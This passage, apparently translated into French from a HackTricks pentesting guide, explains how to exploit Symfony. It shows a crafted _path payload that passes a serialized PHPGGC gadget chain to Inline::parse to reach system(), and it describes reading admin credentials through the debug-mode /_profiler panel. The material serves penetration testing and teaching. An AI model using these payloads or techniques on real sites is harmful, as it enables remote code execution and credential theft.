Sinon, cela signifie que nous devrons utiliser une méthode de classe à la place. Un bon candidat pour cela est `Symfony\Component\Yaml\Inline::parse`, qui est une classe Symfony intégrée, et en tant que telle est présente sur les sites Symfony.
|
|
|
|
Évidemment, cette méthode analyse une chaîne d'entrée YAML. Le parseur YAML de Symfony prend en charge la balise `php/object`, qui convertira une chaîne d'entrée sérialisée en un objet en utilisant `unserialize()`. Cela nous permet d'utiliser notre outil PHP préféré, [PHPGGC](https://github.com/ambionics/phpggc) !
|
|
|
|
Le prototype de la méthode a changé au fil des ans. Par exemple, voici trois prototypes différents :
|
|
```
|
|
public static function parse($value, $flags, $references);
|
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport);
|
|
public static function parse($value, $exceptionOnInvalidType, $objectSupport, $objectForMap, $references);
|
|
```
|
|
Au lieu de construire `_path` pour chacun de ces éléments, nous pouvons profiter du fait que si nous donnons un argument dont le nom ne correspond pas au prototype de la méthode, il sera ignoré. Nous pouvons donc ajouter tous les arguments possibles à la méthode, sans nous soucier du prototype réel.
|
|
|
|
Nous pouvons donc construire `_path` comme ceci:
|
|
```
|
|
_controller=Symfony\Component\Yaml\Inline::parse
|
|
&value=!php/object O:32:"Monolog\Handler\SyslogUdpHandler":...
|
|
&flags=516
|
|
&exceptionOnInvalidType=0
|
|
&objectSupport=1
|
|
&objectForMap=0
|
|
&references=
|
|
&flags=516
|
|
```
|
|
Encore une fois, nous pouvons essayer avec `phpinfo()` et voir si cela fonctionne. Si c'est le cas, nous pouvons utiliser `system()` à la place.
|
|
|
|
_Exemple de sortie en utilisant `Inline::parse` avec une charge utile sérialisée_
|
|
|
|
![8](https://www.ambionics.io/images/symfony-secret-fragment/8.png)
|
|
|
|
L'exploit va donc parcourir toutes les combinaisons de variables possibles, puis essayer les deux méthodes d'exploitation. Le code est disponible sur [notre GitHub](https://github.com/ambionics/symfony-exploits).
|
|
|
|
## Accès aux informations symfony /\_profiler
|
|
|
|
![f:id:flattsecurity:20201021204553p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204553.png)
|
|
|
|
Comme vous pouvez le voir sur la capture d'écran ci-dessus, il y a un logo `sf` en bas à droite de la page. Ce logo est affiché lorsque Symfony est en mode débogage. Il y a des cas où ce logo ne s'affiche pas, alors essayez d'accéder à `/_profiler` et vous verrez la page comme indiqué ci-dessous.
|
|
|
|
![f:id:flattsecurity:20201021204605p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204605.png)
|
|
|
|
Cette fonctionnalité s'appelle Symfony Profiler, et il n'y a pas beaucoup d'informations à ce sujet sur Internet. L'intention de cette fonctionnalité est très claire ; elle vous aide à déboguer lorsqu'il y a une erreur ou un bogue. Bien sûr, cette fonctionnalité ne peut être utilisée que lorsque le mode débogage est activé.
|
|
|
|
Le framework Symfony lui-même est très sécurisé, mais l'activation du mode débogage rendra ce framework extrêmement vulnérable. Par exemple, Profiler a une fonctionnalité appelée Profile Search, comme le montre la capture d'écran suivante.
|
|
|
|
![f:id:flattsecurity:20201021204624p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204624.png)
|
|
|
|
Comme vous pouvez le voir sur la capture d'écran ci-dessus, vous pouvez accéder à toutes les demandes envoyées au serveur. En cliquant sur les hachages dans le jeton, vous verrez que tous les paramètres POST peuvent être lus, comme on le voit sur la capture d'écran suivante. Avec cette fonctionnalité, nous pouvons pirater les identifiants du compte de l'administrateur et de l'utilisateur.
|
|
|
|
![f:id:flattsecurity:20201021204637p:plain](https://cdn-ak.f.st-hatena.com/images/fotolife/f/flattsecurity/20201021/20201021204637.png)
|
|
|
|
### Autres points d'extrémité activés par le débogage
|
|
|
|
Vous devriez également vérifier ces URL :
|
|
|
|
* **https://example.com/app\_dev.php/\_profiler**
|
|
* **https://example.com/app\_dev.php**\\
|
|
|
|
## Références
|
|
|
|
* [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
|
* [**https://flattsecurity.hatenablog.com/entry/2020/11/02/124807**](https://flattsecurity.hatenablog.com/entry/2020/11/02/124807)
|
|
* [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
|
|
|
<details>
|
|
|
|
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
|
|
|
- Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
|
|
- Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
|
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
|
|
- **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
|
|
- **Partagez vos astuces de piratage en soumettant des PR au [repo hacktricks](https://github.com/carlospolop/hacktricks) et au [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
|
|
|
</details>
|